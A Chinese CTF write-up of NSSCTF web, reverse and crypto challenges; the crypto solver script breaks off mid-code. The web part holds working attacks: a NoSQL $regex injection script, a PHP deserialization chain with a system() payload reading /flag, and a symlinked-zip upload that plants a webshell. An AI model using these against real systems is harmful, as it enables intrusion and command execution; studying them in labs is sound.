JGCTF-第8-WP

有没有PWN手MISC手救救我

单打独斗太难了

WEB

ez_signin

拿到附件分析源码

丢ai说存在NoSQL 注入漏洞

写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

import re

url = "http://node8.anna.nssctf.cn:26824/search"

headers = {"Content-Type": "application/json"}

# 构造 NoSQL 注入 payload,返回所有书籍

payload = {

"title": {"$regex": ".*"}, # 匹配所有 title

"author": {"$regex": ".*"} # 匹配所有 author

}

try:

resp = requests.post(url, json=payload, headers=headers)

books = resp.json()

# 筛选可能的 flag

flag_pattern = re.compile(r"NSSCTF\{.*?\}", re.I)

for b in books:

text = " ".join([str(b.get("title","")), str(b.get("author","")), str(b.get("description",""))])

match = flag_pattern.search(text)

if match:

print("[+] Flag found:", match.group())

break

else:

print("[-] Flag not found in returned data.")

except Exception as e:

print("Error:", e)

EzCRC

思路很简单:
后端先比长度,再分别校验 CRC16 和 CRC8 是否与真口令一致,但不允许口令本身完全相等。所以我们只要构造一个与真口令长度相同、CRC16 与 CRC8 都相同但内容不同的字符串即可过关拿到 flag。

关键点:CRC 是线性的(按字节串行更新),固定前缀后,选择最后 3 个字节就能把两个 CRC 都“调回”到目标值。因此可以保留前 12 个字节不变,只改最后 3 个字节,做一个“双 CRC 碰撞”。

写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
def compute_crc16(data: bytes) -> int:

checksum = 0xFFFF

for b in data:

checksum ^= b

for _ in range(8):

if checksum & 1:

checksum = ((checksum >> 1) ^ 0xA001)

else:

checksum >>= 1

return checksum & 0xFFFF

def calculate_crc8(data: bytes) -> int:

crc8_table = [

0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,

0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,

0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,

0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,

0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,

0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,

0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,

0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,

0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,

0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,

0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,

0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,

0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,

0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,

0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,

0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,

0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,

0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,

0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,

0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,

0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,

0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,

0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,

0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,

0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,

0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,

0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,

0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,

0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,

0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,

0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,

0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3,

]

crc = 0

for b in data:

crc = crc8_table[(crc ^ b) & 0xff]

return crc & 0xff

SECRET_PASS = b"Enj0yNSSCTF4th!"

target_crc16 = compute_crc16(SECRET_PASS)

target_crc8 = calculate_crc8(SECRET_PASS)

print("Target CRC16:", hex(target_crc16))

print("Target CRC8 :", hex(target_crc8))

prefix = SECRET_PASS[:-3] # 前 12 个字节固定,最后 3 个字节暴力枚举

found = None

for b1 in range(256):

for b2 in range(256):

for b3 in range(256):

candidate = prefix + bytes([b1, b2, b3])

if candidate == SECRET_PASS:

continue

if compute_crc16(candidate) == target_crc16 and calculate_crc8(candidate) == target_crc8:

found = candidate

print("Found collision:", candidate)

print("Hex:", candidate.hex())

exit(0)

print("Not found")

计算出后直接提交

1
2
3
4
5
6
7
8
9
import requests

url = "http://node8.anna.nssctf.cn:24277/"

payload = b"Enj0yNSSCTF4e\xa8-"

r = requests.post(url, data={"pass": payload})

print(r.text)

[mpga]filesystem

下载www.zip

拿到源码

存在反序列化

找利用链

FileManager::__toString() 会根据 $_POST[‘method’] 调用类内任意方法:

如果 targetFile 被设置为一个 ContentProcessor 对象 → 在 performWriteOperation($var) 中:这里访问了 $targetObject->$var → 触发 ContentProcessor::__get()。

ContentProcessor::__get() 又会调用:

如果 $this->callbackFunction 被设置为某个 系统函数名(如 system、exec、passthru),就会把 $_POST[‘cmd’] 当成命令执行。

FunctionInvoker::__call() 也允许通过对象属性调用任意函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
<?php

class ApplicationContext{

public $contextName;

public function __construct(){ $this->contextName = 'ApplicationContext'; }

public function __destruct(){ $this->contextName = strtolower($this->contextName); }

}

class ContentProcessor{

private $processedContent;

public $callbackFunction;

public function __construct(){ $this->processedContent = new FunctionInvoker(); }

public function __get($key){

if (property_exists($this, $key)) {

if (is_object($this->$key) && is_string($this->callbackFunction)) {

// 调用系统函数,执行 $_POST['cmd']

$this->$key->{$this->callbackFunction}($_POST['cmd']);

}

}

}

}

class FileManager{

public $targetFile;

public $responseData = 'default_response';

public function __construct($targetFile = null){ $this->targetFile = $targetFile; }

public function filterPath(){

if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){

die('路径不合法');

}

}

public function performWriteOperation($var){

$targetObject = $this->targetFile;

$value = $targetObject->$var; // 触发 __get()

}

public function getFileHash(){

$this->filterPath();

if (is_string($this->targetFile)) {

if (file_exists($this->targetFile)) return md5_file($this->targetFile);

else die("文件未找到");

} else if (is_object($this->targetFile)) {

try { return md5_file($this->targetFile); }

catch (TypeError $e) { return "TypeError"; }

} else { die("文件未找到"); }

}

public function __toString(){

if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {

$method = $_POST['method'];

$var = isset($_POST['var']) ? $_POST['var'] : null;

$this->$method($var);

}

return $this->responseData;

}

}

class FunctionInvoker{

public function __call($name, $arg){

if (function_exists($name)) {

$name($arg[0]); // 调用 system/passthru 等

}

}

}

/* ================== 构造链条 ================== */

// 最内层:ContentProcessor

$C = new ContentProcessor();

$C->callbackFunction = 'system'; // 也可换成 passthru/exec/shell_exec

// 中间层:FileManager

$B = new FileManager($C);

$B->responseData = 'READY'; // 避免 "default_response"

// 外层:FileManager

$A = new FileManager($B);

// 生成序列化 payload

$payload = serialize($A);

echo "Raw:\n$payload\n\n";

echo "URL-encoded:\n" . urlencode($payload) . "\n";

运行生成payload

1
O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A5%3A%22READY%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D

然后加上参数

最终payload

1
file_to_check=O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A5%3A%22READY%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D&submit_md5=&method=performWriteOperation&var=processedContent&cmd=cat /flag

ez_upload

打开环境就一个文件上传

没回显,没有任何思路

于是尝试去搜索

找到相关文章

https://www.cnblogs.com/gxngxngxn/p/17439035.html

于是进行构造软连接

那么方向就很明显了,我们可以先上传一个带有软连接的压缩包,这个软连接指向网站的根目录,即/var/www/html,然后我们再上传一个带有马的文件的压缩包,就可以将这个带马文件压缩到网站的根目录下,我们也可以直接访问这个带马文件了

然后删除link(防止与文件夹重名)这个文件,创建一个名为link的文件夹,然后在这个文件夹下写入带马的Php文件(因为之前我们软连接的文件叫做link,所以我们要让这个压缩在这个文件夹下面):

那么现在完事具备了,只欠上传捏

先上传link.zip,然后再上传link1.zip

然后去访问/shell.php

REVERSE

Checkit

下载附件

去ida调试so层找check方法

Java_com_test_ezre_MainActivity_checkInput

拿到code的值

去掉多余的空字节

1
code = [0x34,0x2E,0x2B,0x2E,0x19,0x2C,0x29,0x2D,0x2E,0x4E,0x22,0x27,0x2E,0x53,0x2D,0x28,0x23,0x2D,0x2E,0x53,0x26,0x27,0x2F,0x31,0x2B,0x2E,0x43,0x2D,0x29,0x26,0x2D,0x2E,0x54,0x22,0x27,0x2E,0x46,0x2D,0x28,0x23,0x27,0x2F,0x31,0x2B,0x32,0x26,0x2E,0x31,0x2B,0x2E,0x32,0x2C,0x30,0x2D,0x28,0x33,0x32,0x04,0xFF]

继续追看exec具体怎么实现的

头大

丢ai分析

VM 指令流

继续拿

给ai写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
#!/usr/bin/env python3

# -*- coding: utf-8 -*-

"""

自动从 VM 中恢复 flag 的完整解密脚本

保存为 solve_vm.py 后运行: python3 solve_vm.py

"""

from typing import List

import sys

import time

# ---------------------------

# 从你提供的反汇编直接提取的单字节指令流(每个 db 的第一个字节)

# (如果你的二进制里 code 提取方式不同,按需调整)

# ---------------------------

CODE = [

0x34,0x2E,0x2B,0x2E,0x19,0x2C,0x29,0x2D,0x2E,0x4E,0x22,0x27,0x2E,0x53,0x2D,0x28,

0x23,0x2D,0x2E,0x53,0x26,0x27,0x2F,0x31,0x2B,0x2E,0x43,0x2D,0x29,0x26,0x2D,0x2E,

0x54,0x22,0x27,0x2E,0x46,0x2D,0x28,0x23,0x27,0x2F,0x31,0x2B,0x32,0x26,0x2E,0x31,

0x2B,0x2E,0x32,0x2C,0x30,0x2D,0x28,0x33,0x32,0x04,0xFF

]

# 备注:这个 CODE 列表来源于你贴出的 db 序列(只取每条 db 的首字节,忽略额外填充 0)

CMP_DATA = [

0x1A,0x1E,0x1D,0x0E,0x1C,0x13,0x25,0x0E,0x78,0x3B,0x31,

0x3F,0x68,0x45,0x23,0x3D,0x0F,0x45,0x37,0x3A,0x3A,0x70,

0x07,0x81,0x1A,0x2A,0x3D,0x7E,0x7D,0x3C,0x09,0x82,0x39,

0x2A,0x0E,0x7E,0x09,0x32,0x19,0x81,0x0C,0x2A,0x68,0x45,

0x09,0x43,0x3B,0x70,0x4F,0x4C

]

# 这里 CMP_DATA 含 48 个有效字节(与你提供的数据一致)。若真实二进制更长可补齐。

# ---------------------------

# VM 实现(忠实于你反汇编的 exec)

# ---------------------------

class VM:

def __init__(self, code: List[int], cmp_data: List[int], mem: bytes):

self.code = code[:] # 指令流(每项 0..255)

self.cmp_data = cmp_data[:]

# 模拟 a2 的结构:

self.acc = 0 # a2[0]

self.idx = 0 # a2[1] (byte)

self.pc = 0 # *((int*)a2 + 2)

self.sp = 0 # stack pointer

self.reg3 = 0 # a2[3]

self.counter = 0 # *((int*)a2 + 4)

self.errflag = 0 # a2[4]

self.stack = []

# mem(输入),保证至少 0x40 长

if len(mem) < 0x40:

mem = mem + b'\x00' * (0x40 - len(mem))

self.mem = list(mem)

# byte2(a2[2] 当作小量)确保存在

self.byte2 = 0

def current_op(self):

if 0 <= self.pc < len(self.code):

return self.code[self.pc]

return None

def step(self):

"""执行当前 pc 指令并推进。返回 (halted:bool, message:str|None)."""

if self.pc < 0 or self.pc >= len(self.code):

return True, f"PC out of range {self.pc}"

v9 = self.code[self.pc]

# 以下行为对应你反汇编中的分支

if v9 == 34: # add reg3

self.acc = (self.acc + (self.reg3 & 0xFFFFFFFF)) & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 35: # sub

self.acc = (self.acc - (self.reg3 & 0xFFFFFFFF)) & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 36: # mul

self.acc = (self.acc * (self.reg3 & 0xFFFFFFFF)) & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 37: # div

if self.reg3 == 0:

return True, "Error: Division by zero"

self.acc = int(self.acc // self.reg3)

self.pc += 1

return False, None

if v9 == 38: # xor

self.acc = (self.acc ^ (self.reg3 & 0xFFFFFFFF)) & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 39: # push

if self.sp >= 500:

return True, "Error: Stack overflow"

self.stack.append(self.acc & 0xFFFFFFFF)

self.sp += 1

self.pc += 1

return False, None

if v9 == 40: # pop

if self.sp <= 0:

return True, "Error: Stack underflow"

self.sp -= 1

self.acc = self.stack.pop() & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 41: # load mem[idx] -> acc

if self.idx >= 0x33:

self.acc = 0

else:

if 0 <= self.idx < len(self.mem):

self.acc = self.mem[self.idx]

else:

self.acc = 0

self.pc += 1

return False, None

if v9 == 42: # acc = reg3

self.acc = self.reg3 & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 43: # idx = acc

self.idx = self.acc & 0xFF

self.pc += 1

return False, None

if v9 == 44: # a2[2] = acc (we map to byte2)

self.byte2 = self.acc & 0xFF

self.pc += 1

return False, None

if v9 == 45: # reg3 = acc

self.reg3 = self.acc & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 46: # acc = code[pc+1]; pc += 2

if self.pc + 1 >= len(self.code):

return True, "Immediate out of range"

self.acc = self.code[self.pc + 1] & 0xFFFFFFFF

self.pc += 2

return False, None

if v9 == 47: # acc = idx

self.acc = self.idx & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 48: # load cmp_data[idx] -> acc (guard idx)

if self.idx >= 0x32:

self.errflag = 1

return True, "HALT_IDX_GE_0x32"

if 0 <= self.idx < len(self.cmp_data):

self.acc = self.cmp_data[self.idx] & 0xFF

else:

self.acc = 0

self.pc += 1

return False, None

if v9 == 49: # ++acc

self.acc = (self.acc + 1) & 0xFFFFFFFF

self.pc += 1

return False, None

if v9 == 50: # loop: --byte2; if byte2 !=0 pc = pc - code[pc+1]; else pc+=2

self.byte2 = (self.byte2 - 1) & 0xFF

if self.byte2 != 0:

if self.pc + 1 >= len(self.code):

return True, "Immediate out of range for opcode 50"

imm = self.code[self.pc + 1]

self.pc = int(self.pc - imm)

else:

self.pc += 2

return False, None

if v9 == 51: # ++counter; if idx >=0x32 -> err; if !err && acc!=reg3 err=1; idx--; pc++

self.counter += 1

if self.idx >= 0x32:

self.errflag = 1

return True, "HALT_IDX_GE_0x32_on_51"

if (not self.errflag) and ((self.acc & 0xFFFFFFFF) != (self.reg3 & 0xFFFFFFFF)):

self.errflag = 1

# decrement idx

self.idx = (self.idx - 1) & 0xFF

self.pc += 1

return False, None

if v9 == 52:

self.pc += 1

return False, None

if v9 == 255:

if self.errflag or (self.counter != 50):

return True, "Result: check failed (errflag or counter != 50)"

return True, "oh!You are right!"

return True, f"Unknown opcode: {v9}"

# ---------------------------

# 求解器:从 idx = 49 到 0 逐位枚举

# 原理:

# 对每个目标索引 pos(49,48,...,0):

# 枚举 val=0..255,在一个 mem(长度至少 50)中把 mem[pos]=val,已知的 suffix (pos+1..49) 用上一步求得的字节填入,

# 其余字节置 0;执行 VM,监控每次遇到 opcode 51(比较)时的当前 vm.idx(比较发生时使用当前 idx 值),

# 当遇到 vm.idx == pos 的那次 51,就取当时的 vm.acc 和 vm.reg3(我们在执行该 51 前就可以读取),

# 如果 acc == reg3 那么这个 val 合格(接受)。

# 该方法基于反汇编中比较是从高 idx 向低 idx 进行的(观察到的行为)。

# ---------------------------

def find_flag():

N = 50

found = [0] * N # 存放已恢复的字节;我们从高位向低位填充(49 -> 0)

start_time = time.time()

for pos in range(N-1, -1, -1): # 49,48,...,0

ok = False

print(f"[+] 求解 pos={pos} ...", flush=True)

for val in range(256):

# 构造 mem:所有字节默认 0;已知 suffix 填入;pos 处试 val

mem = bytearray(N)

for j in range(pos+1, N):

mem[j] = found[j]

mem[pos] = val

# run VM but we need to detect the 51 event for idx == pos

vm = VM(code=CODE, cmp_data=CMP_DATA, mem=bytes(mem))

steps = 0

hit = False

failure = False

while True:

op = vm.current_op()

if op is None:

failure = True

break

# If upcoming instruction is 51 and vm.idx == pos, check acc vs reg3 BEFORE executing step

if op == 51 and vm.idx == pos:

# inspect acc & reg3

if (vm.acc & 0xFFFFFFFF) == (vm.reg3 & 0xFFFFFFFF):

hit = True

# execute the 51 step to keep VM consistent (not strictly necessary here)

halted, msg = vm.step()

if halted:

# if halted but it was a normal termination, still we can accept based on hit

pass

break # for this candidate we've evaluated the relevant comparison

# otherwise just step normally until we either hit the event or VM halts or we step too many

halted, msg = vm.step()

if halted:

failure = True

break

steps += 1

if steps > 200000:

failure = True

break

if hit and not failure:

found[pos] = val

print(f" -> 找到 byte @ {pos} = 0x{val:02x} ('{chr(val) if 32<=val<127 else '.'}')")

ok = True

break

if not ok:

print(f"!! 在 pos={pos} 未找到匹配字节,停止。")

return None

elapsed = time.time() - start_time

print(f"[+] 求解完成,耗时 {elapsed:.1f}s")

return bytes(found)

# ---------------------------

# 验证函数:把恢复到的 50 字节放回 VM,看返回

# ---------------------------

def verify(flag_bytes: bytes):

vm = VM(code=CODE, cmp_data=CMP_DATA, mem=flag_bytes)

res = vm.run() if hasattr(vm, "run") else None

# our VM class doesn't have run wrapper; simulate here

# Re-run until halt

vm2 = VM(code=CODE, cmp_data=CMP_DATA, mem=flag_bytes)

steps = 0

while True:

halted, msg = vm2.step()

if halted:

print("[*] VM final message:", msg)

print("[*] Final state: acc={}, idx={}, byte2={}, sp={}, pc={}, reg3={}, counter={}, errflag={}".format(

vm2.acc, vm2.idx, getattr(vm2, "byte2", 0), vm2.sp, vm2.pc, vm2.reg3, vm2.counter, vm2.errflag

))

break

steps += 1

if steps > 2000000:

print("[!] VM run exceeded step limit")

break

# ---------------------------

# 主流程

# ---------------------------

if __name__ == "__main__":

print("开始自动求解 VM 输入(50 字节)...")

flag_bytes = find_flag()

if flag_bytes is None:

print("求解失败。")

sys.exit(1)

print("\n[+] 恢复到的原始输入(raw bytes):")

print(flag_bytes)

# 尝试以可打印形式显示(若包含不可打印字符会以 repr 显示)

try:

s = flag_bytes.decode("utf-8")

print("[+] 以 utf-8 解码:", s)

except:

print("[+] 以 utf-8 解码失败,显示 repr:", repr(flag_bytes))

print("\n[*] 用 VM 验证该输入:")

verify(flag_bytes)

CRYPTO

Guillotine

这个本地直接就通了

但是打服务器老是超时

最终靠GPT5成功优化哈哈哈哈哈哈

直接丢脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
# parallel_find_secret.py

import socket

import re

import time

import random

from collections import defaultdict

from itertools import product

from multiprocessing import Process, Event, Queue, cpu_count

# ------------- 配置(按需修改)-------------

P = 257

N = 36

M = 50

LEFT_BITS = 18

RIGHT_BITS = 18

LEFT_SIZE = 1 << LEFT_BITS

RIGHT_SIZE = 1 << RIGHT_BITS

TIME_INDICES = [0, 1, 2] # 使用哪些 time 行(保持与服务器一致)

RADIUS = 3 # near 容差 ±3

K_CHECK = 6 # 先用前 K_CHECK 个 time 做快速校验(0 表示禁用快速校验)

SEED = 1337 # 生成 A 的随机种子(必须跟服务器一致)

PROCESSES = max(1, cpu_count() - 0) # 启动进程数(可改为具体数字)

PRINT_PROGRESS_EVERY = 65536 # 每多少 r 打印一次进度(单进程内)

# ------------------------------------------

def parse_B_list_from_banner(banner_str):

m = re.search(r'give you B: (\[.*?\])', banner_str, re.S)

if not m:

return None

try:

B_list = eval(m.group(1))

return B_list

except Exception:

return None

def build_problem_from_B(B_list, seed=SEED):

random.seed(seed)

A = [[[random.randrange(P) for _ in range(2)] for _ in range(N)] for _ in range(M)]

C = [0] * M

for t in range(M):

s = 0

for j in range(N):

s = (s + A[t][j][0]) % P

C[t] = s

U = [0] * M

for t in range(M):

U[t] = (B_list[t] - C[t]) % P

D = [[0] * N for _ in range(M)]

for t in range(M):

for j in range(N):

D[t][j] = (A[t][j][1] - A[t][j][0]) % P

return A, C, U, D

def left_map_build(D, time_indices):

base = P

mapping = defaultdict(list)

D_subs = []

for t in time_indices:

D_subs.append([D[t][j] % P for j in range(LEFT_BITS)])

for l in range(LEFT_SIZE):

key_val = 0

mul = 1

for idx in range(len(time_indices)):

Dj = D_subs[idx]

S_val = 0

ll = l

# 只遍历 1 位以加速

while ll:

lowbit = ll & -ll

bit_index = (lowbit.bit_length() - 1)

S_val += Dj[bit_index]

ll ^= lowbit

S_val %= base

key_val += S_val * mul

mul *= base

mapping[key_val].append(l)

return mapping

def precompute_Sr_table(D, time_indices):

R = RIGHT_SIZE

k = len(time_indices)

Sr_table = [ [0]*R for _ in range(k) ]

D_subs = []

for t in time_indices:

D_subs.append([D[t][j + LEFT_BITS] % P for j in range(RIGHT_BITS)])

for r in range(1, R):

lowbit = r & -r

bit_idx = lowbit.bit_length() - 1

prev = r & (r - 1)

for idx in range(k):

Sr_table[idx][r] = (Sr_table[idx][prev] + D_subs[idx][bit_idx]) % P

return Sr_table

def near_values(v, p=P, radius=RADIUS):

return [ (v + d) % p for d in range(-radius, radius+1) ]

def quick_check_candidate(s, A, B_list, check_times, p=P):

for t in check_times:

expected_b = 0

row = A[t]

for j in range(N):

bit = (s >> j) & 1

expected_b += row[j][bit]

expected_b %= p

err = (B_list[t] - expected_b) % p

if err > RADIUS and err < p - RADIUS:

return False

return True

def full_check_candidate(s, A, B_list, p=P):

for t in range(M):

expected_b = 0

row = A[t]

for j in range(N):

bit = (s >> j) & 1

expected_b += row[j][bit]

expected_b %= p

err = (B_list[t] - expected_b) % p

if err > RADIUS and err < p - RADIUS:

return False

return True

def worker_proc(proc_id, r_start, r_end, B_list, A, U, D, time_indices, result_queue, stop_event):

"""

每个进程单独构建 left_map 和 Sr_table,然后在 [r_start, r_end) 区间内枚举。

发现解将把结果放入 result_queue 并 set stop_event。

"""

try:

t0 = time.time()

left_map = left_map_build(D, time_indices)

t1 = time.time()

Sr_table = precompute_Sr_table(D, time_indices)

t2 = time.time()

# 进度统计

processed = 0

total = r_end - r_start

k = len(time_indices)

check_times_quick = list(range(min(K_CHECK, M)))

# 预生成 near 偏移迭代器(笛卡儿积部分)

near_iters = [range(-RADIUS, RADIUS+1)] * k

# 枚举 r

for r in range(r_start, r_end):

if stop_event.is_set():

# 其它进程已找到结果,提前退出

return

processed += 1

# 计算每个 time index 的 target

Svals_target = []

for idx in range(k):

t_index = time_indices[idx]

Sr = Sr_table[idx][r]

Tval = U[t_index]

target = (Tval - Sr) % P

Svals_target.append(target)

# 对每个组合检查 left_map(组合数 (2R+1)^k,k=3 R=3 => 343)

for deltas in product(*near_iters):

key = 0

mul = 1

for idx in range(k):

sval = (Svals_target[idx] + deltas[idx]) % P

key += sval * mul
